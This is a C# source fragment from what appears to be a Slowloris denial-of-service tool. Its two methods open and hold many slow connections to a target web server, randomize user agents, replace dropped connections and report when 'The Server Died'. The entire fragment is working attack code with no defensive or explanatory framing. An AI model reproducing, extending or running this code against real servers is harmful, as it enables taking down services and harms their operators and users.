private static void SlowLorisWorker(string address, string ip, string url, int port, int sockets, int timeout, bool ssl) { List <SlowLorisConnection> SlowLorisConnections = new List <SlowLorisConnection>(); new Thread(() => KeepAlive(sockets, timeout, SlowLorisConnections)).Start(); int ConsectutiveFailures = 0; while (SlowLorisConnections.Count < sockets) { // Add New Connection try { SlowLorisConnection slc = new SlowLorisConnection(address, ip, url, ssl, port, UserAgents[UserAgentRandomizer.Next(0, UserAgents.Count - 1)]); SlowLorisConnections.Add(slc); ConsectutiveFailures = 0; } catch (Exception EX) { if (ConsectutiveFailures >= FailCountBeforeError) { lock (ConsoleWriterLock) { ConsoleColor before = Console.ForegroundColor; Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(" [*] The Server Died at " + DateTime.Now); Console.ForegroundColor = before; } } ConsectutiveFailures++; } } }
private static void KeepAlive(int sockets, int timeout, List <SlowLorisConnection> SlowLorisConnections) { ConsoleColor before = Console.ForegroundColor; while (true) { bool died = false; for (int x = 0; x < SlowLorisConnections.Count; x++) { try { SlowLorisConnections[x].SendKeepAlive(); } catch (Exception) { // Remove Dead Connection SlowLorisConnections.Remove(SlowLorisConnections[x]); // Add New Connection if (SlowLorisConnections.Count < sockets) { try { SlowLorisConnection slc = new SlowLorisConnection(SlowLorisConnections[x].address, SlowLorisConnections[x].ip, SlowLorisConnections[x].url, SlowLorisConnections[x].ssl, SlowLorisConnections[x].port, UserAgents[UserAgentRandomizer.Next(0, UserAgents.Count - 1)]); SlowLorisConnections.Add(slc); } catch (Exception) { lock (ConsoleWriterLock) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(" [*] The Server Died at " + DateTime.Now); Console.ForegroundColor = before; } died = true; } } } } if (SlowLorisConnections.Count != 0 && !died) { lock (ConsoleWriterLock) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(" [+] Sent Keep Alive to {0} connections!", SlowLorisConnections.Count); Console.ForegroundColor = before; } } // Sleep For timeout After Every Itteration // So that the computer doesnt explode Thread.Sleep(timeout * 1000); } }